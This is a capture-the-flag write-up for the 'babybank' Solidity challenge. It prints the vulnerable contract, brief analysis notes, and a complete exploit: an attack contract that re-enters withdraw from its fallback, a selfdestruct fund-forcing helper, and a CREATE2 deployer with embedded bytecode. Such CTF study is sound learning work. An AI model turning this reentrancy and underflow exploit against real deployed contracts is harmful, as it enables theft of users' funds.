16.reentrancy @babybank
2023-07-13 16:28:46 # 02.ChainflagCTF

reentrancy @babybank

contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
pragma solidity ^0.4.23;

contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;

//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);


constructor()public{
owner = msg.sender;
}

//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

//challenge 1
function profit() public{
require(level[msg.sender]==0);
require(uint(msg.sender) & 0xffff==0xb1b1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}

//challenge 2
function set_secret(uint new_secret) public onlyOwner{
secret=new_secret;
}
function guess(uint guess_secret) public{
require(guess_secret==secret);
require(level[msg.sender]==1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}

//challenge 3

function transfer(address to, uint amount) public{
require(balance[msg.sender] >= amount);
require(amount==2);
require(level[msg.sender]==2);
balance[msg.sender] = 0;
balance[to] = amount;
}

function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
}
}

analyses

  • challenge 1:CREATE2
  • challenge 2:the secret is not initialized, it is 0.
  • challenge 3:Reentrant, underflow, compulsory transfer of funds

solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pragma solidity 0.8.16;

interface IBabybank {
function profit() external;
function guess(uint256) external;
function withdraw(uint256) external;
function payforflag(string memory ,string memory ) external;
}

contract attack{
IBabybank public bank;
bool public isWithdraw;
function step01_setBank(address _addr)public{
bank = IBabybank(_addr);
}

function step02_profit()public{
bank.profit();
}
function step03_guess()public{
bank.guess(0);
}
function step04_withdraw()public{
bank.withdraw(2);
}

function step05_complete()public{
bank.payforflag("successfully","successfully");
}

fallback()external payable{
if(!isWithdraw){
isWithdraw = true;
bank.withdraw(2);
}
}

}

contract sendMoney {
function die(address payable _addr) public payable {
selfdestruct(_addr);
}
}

contract deployer{
bytes attackCode = hex"608060405234801561001057600080fd5b50610990806100206000396000f3fe6080604052600436106100745760003560e01c80636c0c816c1161004e5780636c0c816c1461020657806376cdb03b1461021d578063dbae172c14610248578063e64174ad1461027357610075565b8063090d23b9146101af578063522e1177146101d85780635619253b146101ef57610075565b5b6100b36040518060400160405280600f81526020017f6265666f72652066616c6c6261636b000000000000000000000000000000000081525061028a565b600060149054906101000a900460ff166101ad576101056040518060400160405280600881526020017f66616c6c6261636b00000000000000000000000000000000000000000000000081525061028a565b6001600060146101000a81548160ff02191690831515021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d60026040518263ffffffff1660e01b815260040161017a9190610636565b600060405180830381600087803b15801561019457600080fd5b505af11580156101a8573d6000803e3d6000fd5b505050505b005b3480156101bb57600080fd5b506101d660048036038101906101d191906106b4565b610323565b005b3480156101e457600080fd5b506101ed610366565b005b3480156101fb57600080fd5b506102046103f1565b005b34801561021257600080fd5b5061021b61047f565b005b34801561022957600080fd5b50610232610501565b60405161023f9190610736565b60405180910390f35b34801561025457600080fd5b5061025d610525565b60405161026a919061076c565b60405180910390f35b34801561027f57600080fd5b50610288610538565b005b6103208160405160240161029e9190610817565b6040516020818303038152906040527f41304fac000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506105c6565b50565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638c0320de6040518163ffffffff1660e01b81526004016103bd906108d1565b600060405180830381600087803b1580156103d757600080fd5b505af11580156103eb573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639189fec160006040518263ffffffff1660e01b815260040161044b919061093f565b600060405180830381600087803b15801561046557600080fd5b505af1158015610479573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166366d16cc36040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156104e757600080fd5b505af11580156104fb573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d60026040518263ffffffff1660e01b81526004016105929190610636565b600060405180830381600087803b1580156105ac57600080fd5b505af11580156105c0573d6000803e3d6000fd5b50505050565b60006a636f6e736f6c652e6c6f679050600080835160208501845afa505050565b6000819050919050565b6000819050919050565b6000819050919050565b600061062061061b610616846105e7565b6105fb565b6105f1565b9050919050565b61063081610605565b82525050565b600060208201905061064b6000830184610627565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061068182610656565b9050919050565b61069181610676565b811461069c57600080fd5b50565b6000813590506106ae81610688565b92915050565b6000602082840312156106ca576106c9610651565b5b60006106d88482850161069f565b91505092915050565b60006106fc6106f76106f284610656565b6105fb565b610656565b9050919050565b600061070e826106e1565b9050919050565b600061072082610703565b9050919050565b61073081610715565b82525050565b600060208201905061074b6000830184610727565b92915050565b60008115159050919050565b61076681610751565b82525050565b6000602082019050610781600083018461075d565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156107c15780820151818401526020810190506107a6565b60008484015250505050565b6000601f19601f8301169050919050565b60006107e982610787565b6107f38185610792565b93506108038185602086016107a3565b61080c816107cd565b840191505092915050565b6000602082019050818103600083015261083181846107de565b905092915050565b7f636861696e666c61670000000000000000000000000000000000000000000000600082015250565b600061086f600983610792565b915061087a82610839565b602082019050919050565b7f6261627962616e6b000000000000000000000000000000000000000000000000600082015250565b60006108bb600883610792565b91506108c682610885565b602082019050919050565b600060408201905081810360008301526108ea81610862565b905081810360208301526108fd816108ae565b9050919050565b6000819050919050565b600061092961092461091f84610904565b6105fb565b6105f1565b9050919050565b6109398161090e565b82525050565b60006020820190506109546000830184610930565b9291505056fea2646970667358221220e74d36bd68266726f240a7741fb3c927d40ee81e4bc6f8fba5f0bbb9ef54c35764736f6c63430008100033";
function deploy(bytes32 salt) public returns(address){
bytes memory bytecode = attackCode;
address addr;
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
return addr;
}
function getHash()public view returns(bytes32){
return keccak256(attackCode);
}
}